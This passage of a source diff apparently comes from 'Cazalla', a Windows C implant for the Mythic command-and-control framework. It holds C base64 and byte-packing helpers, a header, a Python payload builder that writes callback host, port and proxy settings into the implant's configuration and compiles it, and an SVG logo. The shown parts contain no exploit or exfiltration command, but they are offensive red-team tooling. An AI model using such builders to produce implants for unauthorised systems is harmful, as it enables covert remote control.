21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
43, 44, 45, 46, 47, 48, 49, 50, 51 };
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
size_t b64tamanoCodificado(size_t inlen) {
size_t ret;
ret = inlen;
if (inlen % 3 != 0)
ret += 3 - (inlen % 3);
ret /= 3;
ret *= 4;
return ret;
}
char* b64Codificado(const unsigned char* in, SIZE_T len) {
char* out;
SIZE_T elen;
SIZE_T i;
SIZE_T j;
SIZE_T v;
if (in == NULL || len == 0) {
return NULL;
}
elen = b64tamanoCodificado(len);
out = (char*)LocalAlloc(LPTR, elen + 1);
if (!out) {
return NULL;
}
out[elen] = '\0';
for (i = 0, j = 0; i < len; i += 3, j += 4) {
v = in[i];
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
out[j] = b64chars[(v >> 18) & 0x3F];
out[j + 1] = b64chars[(v >> 12) & 0x3F];
if (i + 1 < len) {
out[j + 2] = b64chars[(v >> 6) & 0x3F];
}
else {
out[j + 2] = '=';
}
if (i + 2 < len) {
out[j + 3] = b64chars[v & 0x3F];
}
else {
out[j + 3] = '=';
}
}
return out;
}
SIZE_T b64tamanoDecodificado(const char* in) {
SIZE_T len;
SIZE_T ret;
SIZE_T i;
if (in == NULL) {
return 0;
}
len = strlen(in);
ret = len / 4 * 3;
for (i = len; i-- > 0; ) {
if (in[i] == '=') {
ret--;
}
else {
break;
}
}
return ret;
}
int b64IsValidChar(char c) {
if (c >= '0' && c <= '9') {
return 1;
}
if (c >= 'A' && c <= 'Z') {
return 1;
}
if (c >= 'a' && c <= 'z') {
return 1;
}
if (c == '+' || c == '/' || c == '=') {
return 1;
}
return 0;
}
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
SIZE_T len;
SIZE_T i;
SIZE_T j;
int v;
if (in == NULL || out == NULL) {
return 0;
}
len = strlen(in);
if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) {
return 0;
}
for (i = 0; i < len; i++) {
if (!b64IsValidChar(in[i])) {
return 0;
}
}
for (i = 0, j = 0; i < len; i += 4, j += 3) {
v = b64invs[in[i] - 43];
v = (v << 6) | b64invs[in[i + 1] - 43];
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
out[j] = (v >> 16) & 0xFF;
if (in[i + 2] != '=') {
out[j + 1] = (v >> 8) & 0xFF;
}
if (in[i + 3] != '=') {
out[j + 2] = v & 0xFF;
}
}
return 1;
}
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
(buffer)[0] = (value >> 24) & 0xFF;
(buffer)[1] = (value >> 16) & 0xFF;
(buffer)[2] = (value >> 8) & 0xFF;
(buffer)[3] = (value) & 0xFF;
}
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
buffer[7] = value & 0xFF;
value >>= 8;
buffer[6] = value & 0xFF;
value >>= 8;
buffer[5] = value & 0xFF;
value >>= 8;
buffer[4] = value & 0xFF;
value >>= 8;
buffer[3] = value & 0xFF;
value >>= 8;
buffer[2] = value & 0xFF;
value >>= 8;
buffer[1] = value & 0xFF;
value >>= 8;
buffer[0] = value & 0xFF;
}
@@ -0,0 +1,25 @@
#pragma once
#ifndef UTILS
#define UTILS
#include <windows.h>
#include "debug.h"
#ifdef __MINGW64__
#define BYTESWAP32(x) __builtin_bswap32( x )
#define BYTESWAP64(x) __builtin_bswap64( x )
#endif
#ifdef _MSC_VER
#define BYTESWAP32(x) _byteswap_ulong(x)
#define BYTESWAP64(x) _byteswap_uint64(x)
#endif
SIZE_T b64tamanoDecodificado(const char* in);
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
char* b64Codificado(const unsigned char* in, SIZE_T len);
size_t b64tamanoCodificado(size_t inlen);
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
#endif
@@ -0,0 +1,131 @@
import pathlib
import tempfile
from mythic_container.PayloadBuilder import *
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
from distutils.dir_util import copy_tree
import asyncio
class CazallaAgent(PayloadType):
name = "Cazalla"
file_extension = "exe"
author = "OFSTeam"
supported_os = [SupportedOS.Windows]
wrapper = False
wrapped_payloads = []
note = """C implant Developed by the Kaseya OFSTeam"""
supports_dynamic_loading = False
c2_profiles = ["http"]
mythic_encrypts = False
translation_container = "cazalla_translator"
build_parameters = [
BuildParameter(
name="output",
parameter_type=BuildParameterType.ChooseOne,
description="Choose output format",
choices=["exe", "dll", "debug_exe","debug_dll"],
default_value="exe"
),
]
agent_path = pathlib.Path(".") / "cazalla"
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
agent_code_path = agent_path / "agent_code"
build_steps = [
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
]
async def build(self) -> BuildResponse:
# this function gets called to create an instance of your payload
resp = BuildResponse(status=BuildStatus.Success)
Config = {
"payload_uuid": self.uuid,
"callback_host": "",
"USER_AGENT": "",
"httpMethod": "POST",
"post_uri": "",
"headers": [],
"callback_port": 80,
"ssl":False,
"proxyEnabled": False,
"proxy_host": "",
"proxy_user": "",
"proxy_pass": "",
}
stdout_err = ""
for c2 in self.c2info:
profile = c2.get_c2profile()
for key, val in c2.get_parameters_dict().items():
if isinstance(val, dict) and 'enc_key' in val:
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
else:
Config[key] = val
break
if "https://" in Config["callback_host"]:
Config["ssl"] = True
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
if Config["proxy_host"] != "":
Config["proxyEnabled"] = True
# create the payload
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Gathering Files",
StepStdout="Found all files for payload",
StepSuccess=True
))
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
copy_tree(str(self.agent_code_path), agent_build_path.name)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Applying configuration",
StepStdout="All configuration setting applied",
StepSuccess=True
))
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
content = f.read()
content = content.replace("%UUID%", Config["payload_uuid"])
content = content.replace("%HOSTNAME%", Config["callback_host"])
content = content.replace("%ENDPOINT%", Config["post_uri"])
if Config["ssl"]:
content = content.replace("%SSL%", "TRUE")
else:
content = content.replace("%SSL%", "FALSE")
content = content.replace("%PORT%", str(Config["callback_port"]))
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
content = content.replace("%PROXYURL%", Config["proxy_host"])
if Config["proxyEnabled"]:
content = content.replace("%PROXYENABLED%", "TRUE")
else:
content = content.replace("%PROXYENABLED%", "FALSE")
f.seek(0)
f.write(content)
f.truncate()
command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE)
stdout, stderr = await proc.communicate()
print(stdout)
print(stderr)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout="Successfuly compiled Ra",
StepSuccess=True
))
build_msg = ""
resp.payload = open(filename, "rb").read()
return resp
Binary file not shown.

After

Width:  |  Height:  |  Size: 204 KiB

@@ -0,0 +1,266 @@
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="800.000000pt" height="800.000000pt" viewBox="0 0 800.000000 800.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,800.000000) scale(0.100000,-0.100000)"
fill="#000000" stroke="none">
<path d="M3713 6533 c26 -2 67 -2 90 0 23 2 2 3 -48 3 -49 0 -68 -1 -42 -3z"/>
<path d="M3735 6294 c-66 -7 -129 -12 -140 -13 -40 -2 2 -19 75 -29 41 -6 86
-13 100 -16 63 -15 296 -28 402 -22 115 6 117 5 121 -17 l4 -22 2 23 c1 15 7
22 21 22 11 0 20 4 20 9 0 13 84 19 92 7 4 -6 8 -26 8 -43 0 -26 4 -33 20 -33
17 0 20 7 20 50 0 43 3 50 20 50 37 0 20 19 -22 24 -106 14 -627 21 -743 10z"/>
<path d="M3921 6166 c2 -2 33 -6 67 -10 44 -5 62 -4 57 3 -3 6 -34 11 -67 11
-34 0 -59 -2 -57 -4z"/>
<path d="M4540 6120 c20 -13 33 -13 25 0 -3 6 -14 10 -23 10 -15 0 -15 -2 -2
-10z"/>
<path d="M4421 6102 c-17 -14 -22 -25 -17 -40 4 -12 2 -30 -4 -42 -8 -16 -7
-28 6 -55 16 -33 15 -38 -4 -83 -14 -33 -20 -69 -20 -122 0 -77 8 -100 37
-100 14 0 14 2 1 10 -24 16 14 13 55 -4 36 -15 47 -35 19 -32 -9 0 -20 -9 -24
-21 -8 -19 -3 -23 42 -38 28 -9 58 -13 67 -10 14 6 13 8 -4 15 -11 5 -33 9
-50 10 l-30 2 28 10 c28 10 28 11 10 31 -18 20 -18 20 8 14 26 -7 26 -6 27 56
1 43 -1 56 -7 41 -5 -11 -21 -28 -36 -38 -26 -17 -26 -17 -15 4 7 14 10 54 6
113 -3 51 -5 99 -6 107 0 8 4 51 9 95 5 44 8 81 6 83 -2 2 -21 6 -42 8 -27 3
-45 -1 -62 -14z m6 -69 c-3 -10 -5 -2 -5 17 0 19 2 27 5 18 2 -10 2 -26 0 -35z
m83 -67 c0 -3 -4 -8 -10 -11 -5 -3 -10 -1 -10 4 0 6 5 11 10 11 6 0 10 -2 10
-4z m-89 -93 c-12 -20 -14 -14 -5 12 4 9 9 14 11 11 3 -2 0 -13 -6 -23z"/>
<path d="M3480 5681 c0 -10 25 -21 48 -21 12 1 10 5 -8 15 -29 17 -40 18 -40
6z"/>
<path d="M4420 5601 c0 -5 7 -12 16 -15 14 -5 15 -4 4 9 -14 17 -20 19 -20 6z"/>
<path d="M3790 5370 c0 -5 5 -10 10 -10 6 0 10 5 10 10 0 6 -4 10 -10 10 -5 0
-10 -4 -10 -10z"/>
<path d="M4178 5373 c7 -3 16 -2 19 1 4 3 -2 6 -13 5 -11 0 -14 -3 -6 -6z"/>
<path d="M3220 3005 l0 -1685 145 0 c138 0 145 1 145 20 0 19 -7 20 -130 20
l-130 0 0 1645 0 1645 755 0 755 0 0 -1645 0 -1644 -132 -3 c-117 -3 -133 -5
-136 -21 -3 -16 9 -17 147 -17 l151 0 0 1685 0 1685 -785 0 -785 0 0 -1685z"/>
<path d="M3965 4219 c-38 -11 -94 -60 -88 -76 7 -21 -5 -15 -18 8 -8 15 -8 19
0 15 6 -4 11 -4 11 1 -1 11 -26 43 -33 43 -9 0 4 -63 14 -74 12 -13 11 -66 0
-66 -6 0 -13 5 -16 10 -3 6 -10 10 -15 10 -11 0 4 -53 24 -82 9 -12 16 -32 16
-45 0 -22 15 -39 23 -26 2 5 2 2 1 -5 -2 -7 5 -21 15 -31 11 -11 31 -41 47
-67 34 -61 54 -85 65 -78 5 3 27 42 50 87 46 92 56 107 71 104 6 -1 11 8 13
20 1 13 9 31 19 41 19 21 37 77 28 86 -3 3 -14 -1 -24 -11 -17 -15 -18 -14
-18 18 0 19 7 43 15 53 8 11 15 29 15 40 0 18 -3 17 -30 -9 -16 -16 -30 -25
-30 -19 0 14 -62 52 -95 57 -16 3 -44 1 -60 -4z m180 -79 c-10 -11 -20 -18
-23 -15 -3 3 3 14 13 25 10 11 20 18 23 15 3 -3 -3 -14 -13 -25z"/>
<path d="M3933 3678 c-47 -23 -68 -120 -38 -178 29 -57 81 -65 126 -21 26 26
29 36 29 91 0 55 -3 65 -29 91 -31 31 -52 35 -88 17z m58 -15 c9 -10 14 -42
14 -93 0 -78 -12 -110 -41 -110 -21 0 -34 43 -34 110 0 96 26 136 61 93z"/>
<path d="M4123 3678 c-59 -28 -71 -160 -19 -205 15 -13 38 -23 50 -23 35 0 74
37 86 81 14 51 -2 111 -37 138 -28 23 -47 25 -80 9z m58 -15 c9 -10 14 -42 14
-93 0 -78 -12 -110 -41 -110 -21 0 -34 43 -34 110 0 96 26 136 61 93z"/>
<path d="M3795 3671 c-24 -5 -26 -8 -12 -13 14 -6 17 -21 17 -98 0 -53 -4 -90
-10 -90 -5 0 -10 -3 -10 -7 0 -5 20 -8 45 -8 28 0 41 4 35 10 -6 5 -10 55 -10
112 0 110 2 107 -55 94z"/>
<path d="M3493 3463 c48 -2 125 -2 170 0 45 1 6 3 -88 3 -93 0 -130 -2 -82 -3z"/>
<path d="M4353 3463 c48 -2 125 -2 170 0 45 1 6 3 -88 3 -93 0 -130 -2 -82 -3z"/>
<path d="M3765 3413 c-32 -8 -64 -44 -76 -84 -13 -43 0 -96 31 -124 25 -22 91
-31 121 -15 17 10 24 10 27 1 2 -6 17 -11 34 -11 26 0 29 2 18 15 -11 13 -9
28 11 85 13 39 26 70 30 70 3 0 10 -15 16 -34 10 -33 10 -35 -16 -39 l-26 -4
28 -2 c21 -1 31 -9 42 -33 9 -23 10 -37 3 -45 -8 -10 11 -13 91 -13 154 0 201
28 201 122 0 35 -6 54 -24 75 -23 26 -30 28 -112 32 -82 3 -87 2 -71 -14 23
-22 25 -176 2 -195 -16 -13 -19 -8 -71 133 -19 52 -33 77 -43 75 -8 -2 -32
-49 -54 -105 -39 -100 -63 -134 -50 -73 3 19 1 30 -6 30 -6 0 -11 -8 -11 -18
0 -24 -31 -52 -57 -52 -31 0 -55 35 -61 88 -5 57 17 117 46 124 29 8 66 -14
70 -40 5 -34 20 -26 19 11 -1 25 -5 32 -21 34 -12 1 -32 4 -46 6 -14 3 -34 3
-45 0z m461 -27 c16 -12 19 -27 19 -86 0 -64 -3 -74 -24 -91 -47 -38 -56 -24
-59 89 -3 101 -3 102 21 102 13 0 32 -6 43 -14z"/>
<path d="M4385 3411 c-61 -27 -89 -109 -57 -171 44 -89 174 -76 203 20 15 51
-1 113 -35 135 -30 20 -85 27 -111 16z m74 -27 c16 -21 21 -41 21 -88 0 -75
-19 -109 -58 -104 -35 4 -52 39 -52 106 0 99 45 142 89 86z"/>
<path d="M4595 3411 c-61 -26 -56 -70 15 -130 53 -45 60 -61 34 -81 -25 -21
-65 -1 -80 40 l-12 35 -1 -45 -1 -45 51 -3 c56 -3 93 14 104 47 9 29 -9 56
-60 91 -48 33 -58 62 -27 79 24 13 62 -12 62 -40 0 -10 4 -19 8 -19 5 0 8 15
8 34 -1 23 -6 34 -16 35 -8 0 -26 2 -40 5 -14 3 -34 2 -45 -3z"/>
<path d="M3318 3403 c17 -6 17 -194 0 -211 -9 -9 1 -12 47 -12 57 0 58 1 37
16 -14 9 -22 26 -22 44 0 25 4 29 40 35 42 7 80 43 80 76 0 9 -12 27 -26 38
-22 17 -40 21 -98 20 -39 0 -65 -3 -58 -6z m120 -55 c3 -39 0 -49 -18 -58 -30
-16 -40 -4 -40 49 0 54 5 63 35 59 16 -2 21 -12 23 -50z"/>
<path d="M3508 3403 c17 -6 17 -194 0 -211 -9 -9 7 -12 75 -12 l87 0 0 43 -1
42 -13 -31 c-14 -31 -55 -52 -76 -39 -6 4 -10 26 -10 51 0 50 17 59 43 22 15
-22 16 -21 15 25 0 26 -4 47 -9 47 -5 0 -9 -6 -9 -14 0 -12 -20 -26 -36 -26
-2 0 -4 23 -4 51 l0 50 32 -3 c22 -2 36 -10 44 -26 18 -37 24 -37 22 2 l-1 36
-86 -1 c-47 0 -80 -3 -73 -6z"/>
<path d="M3683 3133 c170 -2 444 -2 610 0 166 1 28 2 -308 2 -335 0 -471 -1
-302 -2z"/>
<path d="M3806 3101 c-4 -5 -2 -12 3 -15 5 -4 12 -2 15 3 4 5 2 12 -3 15 -5 4
-12 2 -15 -3z"/>
<path d="M3496 3042 c-3 -5 1 -9 9 -9 8 0 12 4 9 9 -3 4 -7 8 -9 8 -2 0 -6 -4
-9 -8z"/>
<path d="M3671 3000 c24 -30 44 -57 46 -59 2 -2 3 0 3 5 0 5 -21 32 -46 59
l-46 50 43 -55z"/>
<path d="M3778 3043 c7 -3 16 -2 19 1 4 3 -2 6 -13 5 -11 0 -14 -3 -6 -6z"/>
<path d="M3815 3040 c4 -6 11 -8 16 -5 14 9 11 15 -7 15 -8 0 -12 -5 -9 -10z"/>
<path d="M3880 3040 c0 -5 7 -7 15 -4 8 4 15 8 15 10 0 2 -7 4 -15 4 -8 0 -15
-4 -15 -10z"/>
<path d="M3920 3046 c0 -2 7 -9 15 -16 9 -7 15 -8 15 -2 0 5 -7 12 -15 16 -8
3 -15 4 -15 2z"/>
<path d="M4056 3033 c-4 -10 0 -23 11 -32 16 -15 16 -15 4 2 -11 14 -11 20 -1
32 7 9 8 15 2 15 -5 0 -13 -8 -16 -17z"/>
<path d="M4165 3040 c3 -5 8 -10 11 -10 2 0 4 5 4 10 0 6 -5 10 -11 10 -5 0
-7 -4 -4 -10z"/>
<path d="M4340 3040 c0 -5 7 -7 15 -4 8 4 15 8 15 10 0 2 -7 4 -15 4 -8 0 -15
-4 -15 -10z"/>
<path d="M4396 3028 c10 -14 21 -24 23 -22 3 3 -6 15 -18 27 l-24 22 19 -27z"/>
<path d="M4490 3039 c0 -5 5 -7 10 -4 6 3 10 8 10 11 0 2 -4 4 -10 4 -5 0 -10
-5 -10 -11z"/>
<path d="M4520 3046 c0 -2 7 -9 15 -16 13 -11 14 -10 9 4 -5 14 -24 23 -24 12z"/>
<path d="M4309 3023 c-13 -16 -12 -17 4 -4 9 7 17 15 17 17 0 8 -8 3 -21 -13z"/>
<path d="M4459 3023 c-13 -16 -12 -17 4 -4 16 13 21 21 13 21 -2 0 -10 -8 -17
-17z"/>
<path d="M4571 3020 c14 -31 19 -36 19 -24 0 6 -7 19 -16 30 -14 18 -14 18 -3
-6z"/>
<path d="M4121 3014 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
<path d="M3476 3005 c-9 -26 -7 -32 5 -12 6 10 9 21 6 23 -2 3 -7 -2 -11 -11z"/>
<path d="M3520 3015 c0 -5 5 -17 10 -25 5 -8 10 -10 10 -5 0 6 -5 17 -10 25
-5 8 -10 11 -10 5z"/>
<path d="M3620 3014 c0 -15 99 -120 100 -106 0 6 -4 12 -9 12 -5 0 -28 23 -50
51 -23 29 -41 48 -41 43z"/>
<path d="M3887 2999 c7 -7 15 -10 18 -7 3 3 -2 9 -12 12 -14 6 -15 5 -6 -5z"/>
<path d="M3822 2980 c0 -14 2 -19 5 -12 2 6 2 18 0 25 -3 6 -5 1 -5 -13z"/>
<path d="M3850 2991 c0 -6 4 -13 10 -16 6 -3 7 1 4 9 -7 18 -14 21 -14 7z"/>
<path d="M4037 2979 c12 -12 24 -21 27 -18 2 2 -8 13 -22 23 l-27 19 22 -24z"/>
<path d="M3501 2980 c0 -15 38 -91 39 -79 0 4 -9 26 -20 50 -11 24 -19 37 -19
29z"/>
<path d="M3921 2987 c2 -1 13 -9 24 -17 19 -14 19 -14 6 3 -7 9 -18 17 -24 17
-6 0 -8 -1 -6 -3z"/>
<path d="M4171 2974 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
<path d="M3456 2955 c-9 -26 -7 -32 5 -12 6 10 9 21 6 23 -2 3 -7 -2 -11 -11z"/>
<path d="M3540 2965 c0 -5 5 -17 10 -25 5 -8 10 -10 10 -5 0 6 -5 17 -10 25
-5 8 -10 11 -10 5z"/>
<path d="M4291 2944 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
<path d="M4572 2940 c-7 -11 -8 -20 -3 -20 9 0 24 30 18 36 -1 2 -8 -6 -15
-16z"/>
<path d="M3846 2937 c2 -7 14 -19 27 -26 21 -13 21 -12 -2 13 -27 29 -33 32
-25 13z"/>
<path d="M4020 2943 c0 -6 8 -17 18 -24 16 -13 16 -13 2 6 -8 11 -16 22 -17
24 -2 2 -3 0 -3 -6z"/>
<path d="M4480 2944 c0 -6 7 -19 16 -30 14 -18 14 -18 3 6 -14 31 -19 36 -19
24z"/>
<path d="M3950 2932 c0 -7 -6 -12 -14 -12 -8 0 -17 -4 -20 -9 -4 -5 3 -7 14
-4 22 6 35 21 26 30 -3 4 -6 1 -6 -5z"/>
<path d="M4105 2919 c-16 -10 -25 -19 -19 -19 7 0 22 9 35 20 30 24 23 24 -16
-1z"/>
<path d="M4167 2921 c-4 -17 -3 -21 5 -13 5 5 8 16 6 23 -3 8 -7 3 -11 -10z"/>
<path d="M4344 2923 c23 -28 28 -28 57 -2 l24 20 -28 -17 c-26 -16 -29 -16
-50 2 l-22 19 19 -22z"/>
<path d="M4450 2936 c0 -2 8 -10 18 -17 15 -13 16 -12 3 4 -13 16 -21 21 -21
13z"/>
<path d="M4530 2915 c-8 -9 -8 -15 -2 -15 12 0 26 19 19 26 -2 2 -10 -2 -17
-11z"/>
<path d="M3430 2910 c-9 -6 -10 -10 -3 -10 6 0 15 5 18 10 8 12 4 12 -15 0z"/>
<path d="M4185 2784 c-102 -156 -108 -164 -101 -164 3 0 46 61 96 135 50 74
87 135 83 135 -5 0 -39 -48 -78 -106z"/>
<path d="M4082 2858 c-21 -21 -14 -66 13 -84 23 -15 27 -15 50 0 29 19 33 56
9 80 -18 19 -55 21 -72 4z m56 -32 c4 -33 -17 -64 -29 -44 -11 16 -12 62 -2
72 13 13 28 -1 31 -28z"/>
<path d="M3793 2772 l-62 -87 45 -3 c35 -2 44 -7 44 -22 0 -10 -6 -21 -12 -23
-7 -3 7 -6 32 -6 34 -1 41 2 32 11 -7 7 -12 18 -12 25 0 21 29 15 53 -11 12
-13 33 -28 47 -31 l25 -7 -22 24 c-23 25 -28 44 -17 72 9 24 30 19 53 -10 25
-32 26 -38 5 -58 -21 -22 3 -22 34 0 30 20 28 59 -4 91 l-25 25 20 20 c27 24
26 43 -1 62 -31 22 -74 20 -98 -4 -25 -25 -25 -41 0 -72 l19 -25 -23 -22 c-20
-19 -28 -21 -45 -12 -17 9 -21 23 -23 81 l-3 70 -62 -88z m215 44 c5 -42 -12
-52 -36 -21 -24 31 -19 57 12 53 15 -2 22 -11 24 -32z m-188 -66 c0 -36 -2
-40 -25 -40 -14 0 -25 2 -25 5 0 6 44 75 48 75 1 0 2 -18 2 -40z"/>
<path d="M3558 2843 c34 -2 90 -2 125 0 34 2 6 3 -63 3 -69 0 -97 -1 -62 -3z"/>
<path d="M4328 2843 c34 -2 90 -2 125 0 34 2 6 3 -63 3 -69 0 -97 -1 -62 -3z"/>
<path d="M4185 2710 c-35 -39 9 -104 55 -80 34 18 44 48 25 76 -19 29 -55 31
-80 4z m53 -30 c4 -42 -12 -60 -28 -30 -14 26 -5 73 13 67 7 -2 13 -18 15 -37z"/>
<path d="M3465 2526 c-22 -16 -25 -67 -5 -91 9 -11 26 -15 53 -13 56 4 60 25
5 24 -43 -1 -43 -1 -43 34 0 34 1 35 38 35 23 0 37 5 37 13 0 16 -61 16 -85
-2z"/>
<path d="M3647 2480 c-18 -43 -22 -60 -12 -60 7 0 15 7 19 15 8 21 53 19 65
-2 5 -10 12 -15 16 -12 8 8 -41 119 -53 119 -5 0 -20 -27 -35 -60z m42 -9
c-15 -5 -22 6 -14 19 6 9 10 9 16 -1 5 -8 4 -15 -2 -18z"/>
<path d="M3810 2531 c0 -6 14 -11 31 -13 l31 -3 -37 -47 -36 -48 56 0 c30 0
55 5 55 10 0 6 -16 10 -36 10 l-36 0 29 38 c49 62 49 62 -6 62 -28 0 -51 -4
-51 -9z"/>
<path d="M3997 2480 c-18 -43 -22 -60 -12 -60 7 0 15 7 19 15 7 20 46 19 62
-2 7 -10 15 -15 18 -12 8 8 -41 119 -52 119 -5 0 -20 -27 -35 -60z m43 5 c0
-8 -4 -15 -10 -15 -5 0 -10 7 -10 15 0 8 5 15 10 15 6 0 10 -7 10 -15z"/>
<path d="M4160 2480 l0 -60 40 0 c22 0 40 5 40 10 0 6 -13 10 -30 10 -29 0
-30 1 -30 50 0 28 -4 50 -10 50 -6 0 -10 -27 -10 -60z"/>
<path d="M4310 2480 l0 -60 35 0 c19 0 35 5 35 10 0 6 -11 10 -25 10 -23 0
-25 3 -25 50 0 28 -4 50 -10 50 -6 0 -10 -27 -10 -60z"/>
<path d="M4474 2503 c-31 -74 -34 -83 -23 -83 5 0 12 7 15 15 8 21 54 19 70
-2 7 -10 15 -16 18 -13 7 8 -45 120 -55 120 -5 0 -16 -17 -25 -37z m36 -18 c0
-8 -4 -15 -10 -15 -5 0 -10 7 -10 15 0 8 5 15 10 15 6 0 10 -7 10 -15z"/>
<path d="M3320 2485 c0 -9 5 -15 11 -13 6 2 11 8 11 13 0 5 -5 11 -11 13 -6 2
-11 -4 -11 -13z"/>
<path d="M4660 2485 c0 -9 5 -15 11 -13 6 2 11 8 11 13 0 5 -5 11 -11 13 -6 2
-11 -4 -11 -13z"/>
<path d="M3585 2340 c17 -4 206 -8 420 -8 215 0 404 4 420 8 17 4 -172 8 -420
8 -247 0 -436 -4 -420 -8z"/>
<path d="M3841 1645 c1 -30 4 -55 8 -55 3 0 14 19 23 41 14 33 14 38 3 29 -13
-10 -15 -8 -15 14 0 14 -4 26 -10 26 -6 0 -9 -24 -9 -55z"/>
<path d="M3976 1686 c3 -8 -3 -16 -16 -19 -17 -4 -21 -12 -18 -39 2 -25 8 -34
26 -36 21 -3 22 0 22 52 0 31 -4 56 -10 56 -5 0 -7 -6 -4 -14z m-4 -78 c-15
-15 -27 14 -17 40 6 15 8 15 18 -6 7 -16 7 -26 -1 -34z"/>
<path d="M4140 1645 c0 -30 4 -55 10 -55 5 0 7 7 4 15 -4 8 -1 15 5 15 6 0 11
-7 11 -15 0 -8 5 -15 10 -15 7 0 7 6 0 20 -8 14 -8 26 0 40 7 14 7 20 0 20 -5
0 -10 -4 -10 -10 0 -5 -4 -10 -9 -10 -4 0 -6 11 -3 25 2 15 0 25 -7 25 -7 0
-11 -21 -11 -55z"/>
<path d="M3535 1640 c4 -19 12 -39 17 -45 7 -7 8 2 3 25 -4 19 -12 40 -17 45
-7 7 -8 -2 -3 -25z"/>
<path d="M3567 1656 c-10 -25 -9 -38 3 -31 6 3 10 -3 10 -14 0 -35 17 -23 28
19 5 22 6 40 2 40 -5 0 -10 -10 -13 -22 l-4 -23 -10 24 c-8 21 -11 22 -16 7z"/>
<path d="M3631 1655 c-1 -29 10 -65 20 -65 5 0 9 9 9 20 0 11 -4 20 -9 20 -5
0 -12 10 -14 23 -4 19 -4 19 -6 2z"/>
<path d="M3660 1657 c0 -17 23 -67 31 -67 7 0 20 53 18 74 0 6 -5 0 -11 -14
-11 -25 -11 -25 -15 -2 -5 23 -23 31 -23 9z"/>
<path d="M3723 1654 c3 -11 9 -30 12 -43 l7 -24 13 23 12 22 7 -23 c5 -19 8
-21 15 -9 15 26 23 72 11 65 -5 -3 -10 -16 -11 -28 -1 -20 -2 -19 -13 6 l-12
27 -11 -27 c-10 -25 -11 -26 -12 -6 -1 12 -6 25 -12 29 -7 4 -9 0 -6 -12z"/>
<path d="M3900 1628 c0 -21 5 -38 10 -38 6 0 10 11 10 24 0 13 2 31 5 39 4 8
0 14 -10 14 -11 0 -15 -11 -15 -39z"/>
<path d="M4008 1630 c-2 -22 0 -40 4 -40 5 0 8 13 8 28 0 15 5 33 12 40 9 9 8
12 -4 12 -11 0 -17 -12 -20 -40z"/>
<path d="M4053 1630 c0 -25 2 -35 4 -22 2 12 2 32 0 45 -2 12 -4 2 -4 -23z"/>
<path d="M4081 1628 c2 -34 3 -37 6 -13 7 46 23 55 23 12 0 -20 4 -37 9 -37 5
0 8 15 7 33 -4 47 -4 47 -26 47 -17 0 -20 -6 -19 -42z"/>
<path d="M4204 1655 c-4 -8 0 -22 7 -31 10 -13 10 -17 -2 -25 -12 -7 -11 -9 3
-9 23 0 28 22 10 43 -14 16 -14 19 -2 27 11 7 11 10 2 10 -7 0 -15 -7 -18 -15z"/>
<path d="M4280 1655 c-17 -20 -4 -65 18 -64 10 0 12 3 5 6 -19 7 -16 50 5 62
15 9 15 10 1 11 -9 0 -22 -7 -29 -15z"/>
<path d="M4330 1655 c-17 -21 -4 -67 18 -63 12 2 17 13 17 37 0 38 -15 50 -35
26z m30 -31 c0 -13 -4 -24 -10 -24 -5 0 -10 14 -10 31 0 17 4 28 10 24 6 -3
10 -17 10 -31z"/>
<path d="M4391 1628 c2 -34 3 -37 6 -13 7 46 23 55 23 12 0 -20 5 -37 10 -37
6 0 10 16 10 35 0 45 18 45 23 0 l4 -35 -1 37 c-1 36 -3 38 -38 41 l-38 2 1
-42z"/>
<path d="M3870 1611 c0 -5 5 -13 10 -16 6 -3 10 -2 10 4 0 5 -4 13 -10 16 -5
3 -10 2 -10 -4z"/>
